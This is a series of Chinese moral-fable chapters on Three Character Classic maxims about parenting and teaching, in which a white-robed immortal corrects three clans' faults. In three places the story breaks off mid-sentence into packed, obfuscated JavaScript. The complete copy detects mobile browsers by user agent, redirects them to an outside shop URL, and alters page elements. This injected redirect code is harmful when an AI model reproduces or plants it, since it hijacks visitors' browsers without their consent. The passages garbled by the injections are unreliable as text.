又引至书房,隔墙传来猪羊哀鸣,东郭勤闻之色变。问:“子可安心读书?公可忍心?昔孟母闻杀豕而迁,今公闻宰杀而不迁,何也?” 恰此时,书房“天道酬勤”匾额无故斜挂,似将坠落。东郭公惊。来人道:“今有一法可解:迁居择静。或可劝邻迁业。然屠户以此为生,焉肯迁?不若自迁。” 东郭公叹:“田宅祖产,不忍弃也。” “孟母可弃织机,公何惜田宅?子若成才,何患无宅?”来人正色。 东郭公从之,即售田宅,购城西清净小院。是夜,“断机杼”三字断痕渐合。来人教“教子法”:教子当如孟母,既择邻,又善教。择邻以静其心,善教以励其志。东郭氏迁居后,子心静学进,后中举人。 四、 孟邻会 三姓悔改,聚于三迁台。来人指碑全文: “昔孟母,择邻处。子不学,断机杼。今三公各明其理:西门公知迁,南宫公知静,东郭公知教。善哉!” 西门公问:“吾等已迁,然邑中仍有不择邻、不迁居、不善教者,何以化之?” “以孟邻化之。”来人召邑民聚台下,令三公自述其过。 西门公述不择:“吾贪恋祖宅,不择邻处,致子染恶习。今知邻如镜,择善而处。愿为表率,劝人择邻。” 南宫公述误择:“吾自恃定力,误择恶邻,致子务浮华。今知邻静心静,择静而居。愿劝邻里,共建清境。” 东郭公述不教:“吾但知严教,不知择邻,致子心不静。今知教子当如孟母,先择邻,后善教。愿倡孟母之风,化导邑人。” 邑民闻之,多有感发。有固守祖宅者思迁,有邻舍不善者思择,有教子无方者思教。三月间,邑中迁居成风,皆择良邻。 来人教“孟邻化民法”:择邑中贤母,立“孟母祠”,每岁祭祀,以“择邻教子”相劝勉。又制“孟邻榜”,彰表良邻。 五、 机杼谳 十月初一,寒衣节,择邻邑办“孟母祭”,三姓共主祭。忽有流言四起,谓“迁居者皆薄福,不久当败”。邑民疑惧,来人止之,召三姓家主并邑中耆老,会于三迁台。 是日,祭典方启,主祭人正诵“子不学,断机杼”,忽闻祠中那架“断机”模型发出“铮”然清响——本已折断的机杼,竟自接口处生出新丝,光华流转,一人自丝光中踏出,如慈训化形。 来人帷笠素纱,白衣胜雪,木剑悬腰,立于机杼之侧,衣袂与丝光同舞。 “善哉!三公已得孟母之旨。”来人朗声道,“昔孟母,择邻处。子不学,断机杼。今三公择邻迁居,子弟向学,何来薄福之说?流言无稽,当以事实破之。” 飞身而下,如白鹤掠地,点尘不惊。取木剑画地成策:“请三子现身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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士子叹服。是夜,宿城中,梦来人踏月而至,以木剑点其额:“子若为父,可知择邻之要?邻可择否?子不学,可如孟母断机否?择邻而后教,教而后成,此孟母之智也。” 士子惊寤,汗透重衣。翌日,访得良邻,举家迁居。后其子成材,皆感孟母之德。 城中孟邻碑,后人建“孟邻阁”护之,阁悬联:“昔孟母择邻处为子计,子不学断机杼警惰心”。有教子无方者临碑,碑面自现箴言。人传:“此乃白衣仙人所留孟邻鉴也。” 本章诫世 一、 孟邻二训 - 昔孟母,择邻处 - 子不学,断机杼 - 破解法:为人父母,自问“居可择邻否?邻可益子否?子不学,可如孟母断机警之否?” 二、 三姓三失 - 西门氏失于“不择”——宅邻赌酒,子弟染恶 - 南宫氏失于“误择”——宅邻花街,子弟务浮 - 东郭氏失于“不教”——但知严责,不知择邻静心 - 惕世:多少人家固守祖宅,不顾邻舍恶浊?多少人家自恃定力,不避纷华环境?多少人家但知严教,不究子弟心性? 三、 教子大道 - 深层隐喻:环境育人,潜移默化。孟母三迁,非为好宅,而为良邻。良邻如良师,恶邻如恶友 - 终极指向:治国平天下,在教化。教化之基,在环境。孟母择邻,是为子择境。今人教子,可不慎欤? 孟邻偈: 择邻邑里三姓偏,各失孟母教子方。 西门不择邻赌酒,子弟染恶家将亡。 南宫误择邻花街,子弟浮华学业荒。 东郭不教但严责,邻舍腥膻子心惶。 三姓迷途不知返,孟邻碑现警世章。 白衣点破择邻理,三迁台上指玄黄。 昔孟母兮择邻处,子不学兮断机杼。 西门迁居子向善,南宫择静学业昌。 东郭迁居子心静,三姓归正子弟良。 后世叹: 昔孟母兮择邻处,子不学兮断机杼。 西门不择子染恶,南宫误择子务浮。 东郭不教子心惧,三姓迷途各倒颠。 孟邻碑前现异象,白衣指点孟邻篇。 正是: 治国平天下在教,孟母遗风要记牢。 昔孟母兮择邻处,子不学兮断机杼。 西门不择邻赌酒,南宫误择邻花街。 东郭不教但严责,三姓迷途各倒颠。 白衣点破择邻理,三迁台上指真诠。 83.义方谳 楔子·义方碑 朔北有边城名“五桂邑”,城东“教子台”上立“义方碑”,碑分四面,分镌四行:正面“窦燕山,有义方”,字迹古拙如父执手泽;左面“教五子”,右面“名俱扬”,背面“教子有方,五桂联芳”,乃后人补镌。相传为前代教子有方者所立,百年风霜,碑体莹润如玉。 邑中三大宗族:长孙氏为武将世家,有五千,教以骑射,然不教诗书,五千皆勇武粗鲁;宇文氏为文臣之后,有五子,教以经史,然不教世务,五子皆迁阔不通;慕容氏为商贾巨室,有五子,教以货殖,然不教仁义,五子皆锱铢必较。三族皆慕窦燕山“教五子,名俱扬”,然各执一偏,子弟多有不全。 是年重阳,义方碑忽生异象:“有义方”三字蒙尘如雾;“教五子”三字裂纹如蛛网;“名俱扬”三字黯淡无光。三姓家主观碑,各怀羞惭。 十月初一,邑中行“五子登科”祭,百童诵《三字经》。正诵至“窦燕山,有义方”一节,忽闻祭坛正中那架“五子登科”屏风发出“嗡”然清鸣——屏上本绘五子折桂图,此刻桂叶无风自动,一人自画中踏光而出,如教泽化形。 来人头戴素纱帷笠,笠檐垂及肩的月白轻纱,面覆同色鲛绡,眸光清冽如寒泉;着一身云纹素罗深衣,衣摆以银丝绣着四幅图景:前为“燕山教子”,左为“五子读书”,右为“五子习礼”,后为“五桂联芳”,暗合“义方”之训。外罩一件无袖素纱氅衣,氅角缀五枚玉圭,圭圭相叠,声如清磬。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如竹节相连,隐现君子气韵。足踏素锦登云履,履尖微翘,不着尘埃。 身形清癯,立于五子图前,帷笠轻纱与画中桂影相映,竟似从书香中化出的师魂。台下观者愕然,疑是画中仙。 来人以木剑轻点屏风,五子图像次第生辉: “教五子,名俱扬!” 剑尖再点: “窦燕山,有义方!” 诵罢,木剑遥指义方碑:“三姓家主,可愿登台观碑?” 长孙、宇文、慕容三公相顾惊疑。来人飘然下台,衣袂如流云舒卷:“某有三桩‘义方’公案,可请三公分观。观毕,再论教子。” 一、 不文之教(长孙氏) 长孙氏为武将世家,先祖以军功封侯,传至现任家主长孙公,膝下五千:长孙勇、长孙猛、长孙刚、长孙强、长孙毅,皆以勇力称。长孙公深信“将门虎子”,自五子幼时,即教以骑射刀枪,不令读书。尝言:“大丈夫当马上取功名,安用毛锥?”五千皆不识字,与人交谈,多粗鄙之言。上月,长子长孙勇与文士争道,竟挥拳相向,被邑人讥为“五虎不文”。 来人引长孙公至“教五子”碑前。三字裂纹,以手抚之,裂痕如壑。长孙公蹙眉。 “窦燕山,有义方。教五子,名俱扬。”来人问,“长孙公教子,可有义方?” 长孙公昂然:“吾教子骑射,皆万人敌,岂无义方?” “义方者,教子以正道。”来人召五千至前,问长孙勇:“可识得此碑文?”勇摇头。问长孙猛:“可知窦燕山故事?”猛茫然。问长孙刚:“可会书写姓名?”刚赧然。问长孙强:“可读过《论语》?”强瞠目。问长孙毅:“可知礼义廉耻?”毅挠头。 长孙公色变。来人叹:“窦燕山教五子,经史子集皆通,文武兼备。公但教武艺,不教诗书,是教子,是误子?勇而无文,如虎无翼,何以名俱扬?” 又引至校场,五千演练武艺,果然虎虎生风。然问及军阵韬略,皆不知所云。问及古今战例,皆茫然无对。来人道:“为将者,勇为末,谋为本。公但教其勇,不教其谋,是欲其为将,是欲其为卒?” 恰此时,校场“将门虎子”匾额绳索骤断,匾落尘埃。长孙公骇。来人道:“今有一法可解:延师教文。窦燕山教子,文武并重。公可令五千白日习武,夜间读书。如此,方为将门之风。” 长孙公沉吟:“吾家世代武将,何须文墨?” “昔关云长夜读《春秋》,岳武穆熟谙兵法。为将不知文,何以统军?何以治国?”来人正色。 长孙公从之,即延饱学儒师,教五千经史。是夜,“教五子”三字裂纹渐合。来人教“文武法”:文以载道,武以安邦。文武兼备,方为全才。长孙氏自此重文,五千后皆成将才。 二、 不务之教(宇文氏) 宇文氏为文臣之后,先祖官至尚书,传至现任家主宇文公,膝下五子:宇文文、宇文章、宇文翰、宇文墨、宇文砚,皆以文采称。宇文公笃信“书香传家”,自五子幼时,即教以经史子集,不令涉世。尝言:“万般皆下品,惟有读书高。”五子皆不事生产,不知稼穑,不通世务。上月,长子宇文文赴友人宴,不识韭菜麦苗,被邑人讥为“五谷不分”。 来人引宇文公至“教五子”碑前。细观碑文,但见“教”字有瑕,似被墨污。宇文公赧然。 “窦燕山,有义方。教五子,名俱扬。”来人问,“宇文公教子,可有义方?” 宇文公强道:“吾教子诗书,皆通经典,岂无义方?” “义方者,教子以全道。”来人召五子至前,问宇文文:“可识五谷?”文茫然。问宇文章:“可知市价?”章摇头。问宇文翰:“可会耕织?”翰瞠目。问宇文墨:“可懂账目?”墨赧然。问宇文砚:“可晓世情?”砚语塞。 宇文公汗出。来人叹:“窦燕山教五子,经世致用,通晓实务。公但教诗书,不教世务,是教子,是锢子?文而不务,如花无果,何以名俱扬?” 又引至书房,五子吟诗作赋,果然文采斐然。然问及民情吏治,皆不知所以。问及钱粮赋税,皆茫然无对。来人道:“为官者,文为末,实为本。公但教其文,不教其实,是欲其为官,是欲其为书蠹?” 恰此时,书房“书香世家”匾额蛛网骤结,如蒙尘垢。宇文公惧。来人道:“今有一法可解:令子涉世。窦燕山教子,知行合一。公可令五子白日读书,午后游历市井,了解民情。如此,方为治国之才。” 宇文公犹豫:“市井喧嚣,恐扰清心。” “不知市井,安知民生?不知民生,安能为官?”来人正色。 宇文公从之,即令五子每日午后游历市井,了解世务。是夜,“教五子”三字墨污渐消。来人教“知行法”:知为行之始,行为知之成。知行合一,方为真知。宇文氏自此重实,五子后皆成能吏。 三、 不仁之教(慕容氏) 慕容氏为商贾巨室,富甲一方,传至现任家主慕容公,膝下五子:慕容金、慕容银、慕容钱、慕容财、慕容宝,皆以精明称。慕容公深信“商道为本”,自五子幼时,即教以算计经营,不教仁义。尝言:“无商不奸,无利不往。”五子皆锱铢必较,见利忘义。上月,三子慕容钱与人交易,以次充好,被邑人斥为“五奸不仁”。 来人引慕容公至“名俱扬”碑前。三字黯淡,以袖拭之,微有莹光。慕容公蹙眉。 “窦燕山,有义方。教五子,名俱扬。”来人问,“慕容公教子,可得名扬?” 慕容公扬眉:“吾家富甲一方,谁人不晓?” “名扬者,美名也,非恶名。”来人召五子至前,问慕容金:“可曾让利于人?”金摇头。问慕容银:“可曾周济贫乏?”银嗤笑。问慕容钱:“可曾诚实交易?”钱赧然。问慕容财:“可曾心存仁厚?”财语塞。问慕容宝:“可知名节贵重?”宝茫然。 慕容公色变。来人叹:“窦燕山教五子,仁义为本,方得名扬。公但教算计,不教仁义,是教子,是毁子?富而不仁,如树无根,何以名俱扬?” 又引至店铺,五子打理生意,果然精明干练。然问及“义利之辨”,皆曰“利为先”。问及“仁者爱人”,皆笑“迂腐”。来人道:“为商者,利为末,义为本。公但教其利,不教其义,是欲其为商,是欲其为盗?” 恰此时,店铺“信义通商”匾额无故斜挂,似将坠落。慕容公惊。来人道:“今有一法可解:教以仁义。窦燕山教子,德才兼备。公可令五子白日学商,夜间读圣贤书,明义利之辨。如此,方为儒商之风。” 慕容公不悦:“商场如战场,仁义何用?” “无义之利,如无源之水。昔陶朱公三散家财,而三致千金,义利兼得。公不闻乎?”来人正色。 慕容公从之,即延儒师,教五子仁义之道。是夜,“名俱扬”三字复明。来人教“义利法”:利者,义之和也。义利相生,方为久长。慕容氏自此重义,五子后皆成儒商。 四、 义方会 三姓悔改,聚于教子台。来人指碑全文: “窦燕山,有义方。教五子,名俱扬。今三公各得其要:长孙公知文,宇文公知实,慕容公知义。善哉!” 长孙公问:“吾等已改,然邑中仍有偏教之家,或重武轻文,或重文轻实,或重利轻义,何以化之?” “以义方化之。”来人召邑民聚台下,令三公自述其过。 长孙公述偏武:“吾重武轻文,教子不全。今知文武兼备,方为将才。愿倡文武并重之风。” 宇文公述偏文:“吾重文轻实,教子迂阔。今知知行合一,方为实学。愿倡经世致用之学。” 慕容公述偏利:“吾重利轻义,教子不仁。今知义利相生,方为儒商。愿倡义利兼修之道。” 邑民闻之,多有感发。有重武轻文者延师,有重文轻实者游历,有重利轻义者读经。三月间,邑中教风大变。 来人教“义方化民法”:择邑中贤达,立“义方堂”,每岁春秋,聚于台下,以“教子有方,五桂联芳”相劝勉。又制“义方榜”,彰表全才。 五、 五桂谳 腊月初八,五桂邑办“五子登科祭”,三姓五千十五子齐聚。忽有外邑“五虎”前来挑衅,谓“五桂邑子弟皆偏才,不足论”。邑民愤慨,来人止之,召三姓家主并五千十五子,会于教子台。 是日,祭典方启,主祭人正诵“名俱扬”,忽闻祭坛中央那株“五桂树”发出“簌簌”清响——本是百年桂树,此刻无风自动,桂花如雨飘落,一人自花雨中踏光而出,如桂香化形。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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五子奸猾不仁义。 三姓迷途不知返, 义方碑现警世语。 白衣点破义方理, 教子台上指迷途。” 士子叹服。是夜,宿城中,梦来人踏月而至,以木剑点其额:“子若为父,可知义方之要?教子可全否?文武可备否?知行可合否?义利可兼否?若明此理,则五子可教矣。” 士子惊寤,汗透重衣。翌日,访得三姓教子之法,归而教子,后五千皆成材。 城中义方碑,后人建“义方阁”护之,阁悬联:“窦燕山有义方教五子,五桂联芳名俱扬”。有教子偏颇者临碑,碑面自现箴言。人传:“此乃白衣仙人所留义方鉴也。” 本章诫世 一、 义方二训 - 窦燕山,有义方 - 教五子,名俱扬 - 破解法:为人父母,自问“教子有义方否?可教子以全道否?文武兼备否?知行合一否?义利双全否?” 二、 三姓三偏 - 长孙氏偏于“武”——重武轻文,子弟勇而无文 - 宇文氏偏于“文”——重文轻实,子弟文而不务 - 慕容氏偏于“利”——重利轻义,子弟利而不仁 - 惕世:多少将门但教武艺,子弟成为莽夫?多少书香但教诗书,子弟成为书呆?多少商贾但教算计,子弟成为奸商? 三、 教子大道 - 深层隐喻:教子如植树,需根深、干直、枝繁、叶茂、果硕。偏废其一,皆不成材 - 终极指向:治国平天下,在人才。人才之成,在教化。教化之要,在义方。窦燕山教五子,名俱扬,非独扬名,实成国器 义方偈: 五桂邑里三姓偏,各失义方教子篇。 长孙偏武不教文,五千勇武字不识。 宇文偏文不教实,五子迁阔务不通。 慕容偏利不教义,五子奸猾仁不存。 三姓迷途不知返,义方碑现警世言。 白衣点破义方理,教子台上指玄天。 窦燕山有义方兮,教五子名俱扬矣。 长孙教文成将才,宇文教实成能员。 慕容教义成儒商,三姓归正子弟贤。 后世叹: 窦燕山有义方兮,教五子名俱扬矣。 长孙偏武子鲁莽,宇文偏文子迁阔。 慕容偏利子奸猾,三姓迷途各倒颠。 义方碑前现异象,白衣指点义方篇。 正是: 治国平天下在教,义方之道要记牢。 窦燕山有义方兮,教五子名俱扬矣。 长孙偏武不教文,宇文偏文不教实。 慕容偏利不教义,三姓迷途各倒颠。 白衣点破义方理,教子台上指真诠。 84.教严谳 楔子·教严碑 岭南有古城名“严教邑”,城南“明伦台”上立“教严碑”,碑分两面,一面镌“养不教,父之过”,字迹沉厚如父责;一面镌“教不严,师之惰”,笔锋锐利如师训。相传为前代严师所立,百年风雨,碑体黝黑如铁。 邑中三大门第:赫连氏为乡绅望族,家主赫连公,溺爱独子赫连玉,百依百顺,养而不教;拓跋氏为书香世家,延师教子,然所请西席慕容先生,性情疏懒,教而不严;独孤氏为商贾大户,重金聘名师宇文先生,然先生只教经义,不教品行,严而失方。三家皆有子弟就学,然或父过,或师惰,子弟多不成器。 是年惊蛰,教严碑忽生异象:“父之过”三字裂纹如龟背;“师之惰”三字苔藓丛生,如蒙尘垢。三姓家主观碑,各怀惭惶。 三月十五,邑中行“开笔礼”,百童诵《三字经》。正诵至“养不教,父之过”一节,忽闻学塾中那块“戒尺碑”发出“啪”然脆响——本是青石所制戒尺模型,此刻无风自鸣,一人自尺影中踏光而出,如师道化形。 来人头戴素纱帷笠,笠檐垂及肩的月白轻纱,面覆同色鲛绡,眸光清冽如寒潭;着一身云纹素罗深衣,衣摆以银丝绣着两幅图景:左为“严父教子”,右为“严师授业”,暗合“教严”之旨。外罩一件无袖素纱氅衣,氅角缀两枚玉戒尺,尺尺相叠,声如清磬。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如竹节相连,隐现风骨铮铮。足踏素锦步云履,履尖微翘,不染尘埃。 身形清癯,立于戒尺碑侧,帷笠轻纱与碑影相映,竟似从师道尊严中化出的精魂。台下观者愕然,疑是古贤再现。 来人以木剑轻击戒尺,清音响彻: “教不严,师之惰!” 剑尖再点: “养不教,父之过!” 诵罢,木剑遥指教严碑:“三家家主,可愿登台观碑?” 赫连、拓跋、独孤三公相顾赧然。来人飘然下台,衣袂如流云舒卷:“某有三桩‘教严’公案,可请三公分观。观毕,再论教养。” 一、 不教之过(赫连氏) 赫连氏为乡绅望族,田连阡陌,家资丰饶。家主赫连公,年四十方得独子赫连玉,爱如珍宝,自幼百依百顺,养而不教。赫连玉年方十二,已骄纵成性:欲食珍馐,必得之;欲着锦缎,必制之;欲玩珍奇,必购之。稍有不如意,辄摔物打人。赫连公每闻恶行,只笑曰:“孩童天性,长大自明。”上月,赫连玉当街纵马踏伤老妪,赫连公竟以银钱塞口了事。 来人引赫连公至“养不教,父之过”碑前。三字裂纹,以手抚之,裂痕深可容指。赫连公蹙眉。 “养不教,父之过。教不严,师之惰。”来人问,“赫连公可曾教子?” 赫连公强笑:“吾儿聪慧,何须多教?” “养而不教,父之过也。”来人召赫连玉至前,问:“可曾读书?”玉摇头。问:“可曾习礼?”玉嬉笑:“礼为何物?”问:“可知孝悌?”玉撇嘴:“吾父尚听我言,何须孝悌?” 赫连公色变。来人叹:“玉不琢,不成器。子不教,不成材。公但知养,不知教,是爱子,是害子?他日为祸乡里,公能护之终身否?” 又引至赫连玉书房,但见珍玩满室,无一本书。问:“此可称书房?公为父,可尽父责?养而不教,与犬马何异?” 恰此时,书房“芝兰玉树”匾额绳索骤断,匾落尘埃。赫连公骇。来人道:“今有一法可解:严加管教。延严师,立家规,明是非。养不教,父之过;今教之,过可补。” 赫连公犹豫:“吾儿娇惯,恐难管束。” “娇惯愈甚,害之愈深。昔周处为患,父老不言,是为过也。公欲子为周处乎?”来人正色。 赫连公从之,即延严师,立家法。是夜,“父之过”三字裂纹渐合。来人教“为父法”:养子如植树,不修不直,不剪不茂。养而教之,方为父责。 二、 不严之惰(拓跋氏) 拓跋氏为书香世家,历代有子弟中举。现任家主拓跋公,重教子,延西席慕容先生授业。然慕容先生性情疏懒,每日授课不过一两个时辰,余则或饮酒,或酣睡,教而不严。拓跋氏二子:长子拓跋文,年十四;次子拓跋章,年十二。兄弟二人,见师惰,亦怠学,终日嬉戏,学业荒废。拓跋公偶问功课,慕容先生辄曰:“公子聪颖,稍加点拨即可。”上月,二子背诵《论语》不过三章,拓跋公始疑。 来人引拓跋公至“教不严,师之惰”碑前。三字苔藓丛生,以指拂之,苔厚如毡。拓跋公赧然。 “教不严,师之惰。养不教,父之过。”来人问,“拓跋公可知师惰?” 拓跋公叹:“先生名士风范,或不可拘束过甚…” “名士风范,非惰学之由。”来人召慕容先生并二子至前。问慕容先生:“每日授业几时?”先生支吾:“或三时,或两时…”问拓跋文:“可背《大学》?”文挠头:“未曾背全。”问拓跋章:“可解《孟子》?”章语塞:“先生未讲透。” 拓跋公汗出。来人叹:“师者,传道授业解惑也。教而不严,是谓惰职。先生惰,子弟怠,公不察,是父之过。他日子弟不成材,公怨先生,抑怨己?” 又引至学堂,但见案上积尘,书中夹叶。问:“此可称学堂?先生可称师?公聘师而不察,是爱子,是误子?” 恰此时,学堂“明师高徒”匾额蛛网骤结,如蒙尘垢。拓跋公惧。来人道:“今有一法可解:延严师。教不严,师之惰;延严师,惰可改。” 拓跋公为难:“慕容先生乃名士,不可轻辞。” “名士而不严教,是虚名也。昔程门立雪,是严师;公之师,可立雪否?”来人正色。 拓跋公从之,即辞慕容先生,另延严师。是夜,“师之惰”三字苔藓自落。来人教“择师法”:师严则道尊,道尊则学成。择师当择严师,不可慕虚名。 三、 严而失方(独孤氏) 独孤氏为商贾大户,富甲一方。家主独孤公,深信“严师出高徒”,重金聘名师宇文先生教子。宇文先生果然严厉,每日授业六个时辰,稍有差错,辄加戒尺。然先生只教经义章句,不教品行德性。独孤氏独子独孤诚,年十三,终日苦读,经义烂熟,然品行不端:对父母不敬,对仆役苛刻,对同窗傲慢。独孤公每闻劣行,只道:“学业为重,品行次之。”上月,独孤诚因小事鞭挞书童,独孤公竟不责。 来人引独孤公至“教不严,师之惰”碑前。细观碑文,但见“严”字有瑕,似被墨污。独孤公蹙眉。 “教不严,师之惰。然严而失方,亦是惰。”来人召宇文先生并独孤诚至前。问宇文先生:“可教品行?”先生曰:“吾但教经义,品行自有其父教。”问独孤诚:“可知孝悌?”诚背诵:“孝悌也者,其为仁之本与!”问:“可行孝悌?”诚语塞。 独孤公色变。来人叹:“教不严,师之惰;教而偏,亦是惰。先生但教经义,不教品行,是严乎?是偏乎?子弟知书不达理,是师之惰,亦是父之过。” 又引至独孤诚书房,但见经书堆叠,无一册修身之书。问:“此可称教化?经义虽熟,品行不修,是为人乎?是书蠹乎?” 恰此时,书房“学海无涯”匾额无故斜挂,似将坠落。独孤公惊。来人道:“今有一法可解:教之以方。严师当严而有方,既教经义,亦教品行。教不严,师之惰;教无方,亦是惰。” 独孤公犹豫:“先生名重,不可轻改其教。” “名重而教偏,是名不副实。昔孔子教六艺,文行忠信并重。公之师,可及孔子万一?”来人正色。 独孤公从之,即请宇文先生兼教品行,并自以身教。是夜,“教不严”三字墨污渐消。来人教“教方法”:教之道,严而有方。方者,道也。教之以道,方可成材。 四、 教严会 三姓悔改,聚于明伦台。来人指碑全文: “养不教,父之过。教不严,师之惰。今三家各明其责:赫连公知教,拓跋公知严,独孤公知方。善哉!” 赫连公问:“吾等已改,然邑中仍有养不教、教不严、严而无方者,何以化之?” “以教严化之。”来人召邑民聚台下,令三家自述其过。 赫连公述不教:“吾但知养,不知教,是吾过也。今知养不教,父之过,愿严加管教,以补前愆。” 拓跋公述不严:“吾聘师不察,师惰不严,是吾过也。今知教不严,师之惰,愿择严师,以正学风。” 独孤公述无方:“吾重严教,然教而偏,亦是惰。今知严而有方,方为真严,愿教之以道,以成全才。” 邑民闻之,多有感发。有养不教者警醒,有教不严者换师,有严而无方者正教。三月间,邑中学风大振。 来人教“教严化民法”:择邑中严父严师,立“教严堂”,每岁春秋,聚于台下,以“养而教,教而严,严而方”相劝勉。又制“教严榜”,彰表严父严师。 五、 明伦谳 九月初九,重阳日,严教邑办“尊师祭”,三家父子师徒齐聚。忽有外邑“浪荡子”三人前来挑衅,谓“严教邑子弟皆书呆,不足论”。邑民愤慨,来人止之,召三家父子师徒,会于明伦台。 是日,祭典方启,主祭人正诵“教不严,师之惰”,忽闻明伦台中央那面“明伦鼓”发出“咚”然震响——鼓面自鸣,一人自鼓声中踏光而出,如师道威严。 来人帷笠素纱,白衣胜雪,木剑悬腰,立于鼓架之上,衣袂与鼓声同振。 “善哉!三家已明教严之旨。”来人朗声道,“养不教,父之过。教不严,师之惰。今三家父子师徒,各尽其责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115884|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可会外邑浪子。” 飞身而下,如白鹤掠地,点尘不惊。取木剑画地成策:“赫连玉,可背《孝经》;拓跋文拓跋章,可论《论语》;独孤诚,可解《孟子》并述孝行。父教子,师教徒,何惧挑衅?” 赫连玉背诵《孝经》,朗朗上口;拓跋文拓跋章论述《论语》,切中肯綮;独孤诚解读《孟子》并述孝行,知行合一。外邑浪子观之,惭而服,揖道:“贵邑子弟,知书达礼,言行合一,吾等不及也!” 邑中耆老叹曰:“昔三家教子,或父过,或师惰,或严偏;今三家各明其责,子弟皆成美材。此谓‘教严’之功也!” 来人登台顶,临风而立,诵“养不教,父之过。教不严,师之惰”,声清越如金玉。诵罢,谓众曰:“养不教,父之过,过在溺爱;教不严,师之惰,惰在失职。今诸公知过补过,知惰改惰,子弟可成矣。” 赫连公拜问:“先生将去,何以长守此道?” 来人指心:“道在汝心,责在汝身。但时时自问:养可教否?教可严否?严可方否?父尽父责,师尽师责,则教严成矣。” 言毕,纵身跃上教严碑顶,足尖一点“严”字,身形如白虹经天,没入云端。众人仰观,唯见碑文光华流转,明伦鼓声余韵不绝。 尾声教严谣 十年后,严教邑更名“明伦城”。三家互通婚姻,无分门第。城中设“教严塾”,童蒙入学,先诵此章。有游学士子过境,见城中“父严子孝,师严徒勤,学风严谨”,问:“此城何化若此?” 老者答:“养而教,教而严,严而方。” “何以至此?” 童子诵《教严谣》: “治国平天下在教, 教严之道要记牢。 养不教是父之过, 教不严是师之惰。 赫连溺爱不教子, 养而不教子骄纵。 拓跋聘师不察惰, 教而不严徒怠学。 独孤严教偏经义, 严而无方子不端。 三家迷途不知返, 教严碑现警世语。 白衣点破教严理, 明伦台上指迷途。” 士子叹服。是夜,宿城中,梦来人踏月而至,以木剑点其额:“子若为父,可知父责?子若为师,可知师责?养不教,父之过;教不严,师之惰。明此理,则天下子弟可教矣。” 士子惊寤,汗透重衣。翌日,严教其子,严束其徒,后皆成材。 城中教严碑,后人建“教严阁”护之,阁悬联:“养不教父之过警溺爱,教不严师之惰戒怠职”。有父不教、师不严者临碑,碑面自现箴言。人传:“此乃白衣仙人所留教严鉴也。” 本章诫世 一、 教严二训 - 养不教,父之过 - 教不严,师之惰 - 破解法:为人父,自问“养可教否?”;为人师,自问“教可严否?严可方否?” 二、 三家三失 - 赫连氏失于“不教”——养而不教,父之过 - 拓跋氏失于“不严”——教而不严,师之惰 - 独孤氏失于“无方”——严而无方,亦是惰 - 惕世:多少父母溺爱纵容,养而不教?多少师长疏懒怠职,教而不严?多少严师偏执一途,严而无方? 三、 教养大道 - 深层隐喻:养如植根,教如修枝,严如剪叶,方如扶正。根不植则萎,枝不修则乱,叶不剪则蔽,正不扶则歪 - 终极指向:治国平天下,在教化。教化之基,在父教师严。父不教,师不严,则教化废,人材衰 教严偈: 严教邑里三家偏,各失教严教养篇。 赫连溺爱不教子,养而不教父之过。 拓跋聘师不察惰,教而不严师之惰。 独孤严教偏经义,严而无方亦是惰。 三家迷途不知返,教严碑现警世言。 白衣点破教严理,明伦台上指玄天。 养不教是父之过,教不严是师之惰。 赫连严教子成器,拓跋严师徒勤学。 独孤教方子端方,三家归正子弟贤。 后世叹: 养不教是父之过,教不严是师之惰。 赫连溺爱子骄纵,拓跋师惰徒怠学。 独孤严偏子不端,三家迷途各倒颠。 教严碑前现异象,白衣指点教严篇。 正是: 治国平天下在教,教严之道要记牢。 养不教是父之过,教不严是师之惰。 赫连溺爱不教子,拓跋聘师不察惰。 独孤严教偏经义,三家迷途各倒颠。 白衣点破教严理,明伦台上指真诠。 85.幼学谳 楔子·幼学碑 江左有古城名“劝学邑”,城西“幼学台”上立“幼学碑”,碑分两面,一面镌“子不学,非所宜”,字迹清隽如童子开笔;一面镌“幼不学,老何为”,笔意苍劲如老叟扶杖。相传为前代劝学大儒所立,百年风雨,碑面光滑如镜。 邑中三大富室:沈氏有独子沈玉,年方十岁,厌学贪玩,终日斗蟋蟀放纸鸢;文氏有幼女文秀,年方九岁,父母怜其体弱,不令就学,日居绣楼;秦氏有孪生子秦风、秦月,年方八岁,父早逝,母溺爱,任其嬉戏。三家子女皆不学,邑人窃议“富室出纨绔”。 是年花朝,幼学碑忽生异象:“非所宜”三字蒙尘如雾;“老何为”三字裂纹如老叟皱纹。三家家主观碑,各怀惭怍。 二月十五,邑中行“开蒙祭”,百童诵《三字经》。正诵至“子不学,非所宜”一节,忽闻学塾中那方“劝学砚”发出“铮”然清鸣——本是青石砚台,此刻无风自震,一人自墨光中踏出,如学魂化形。 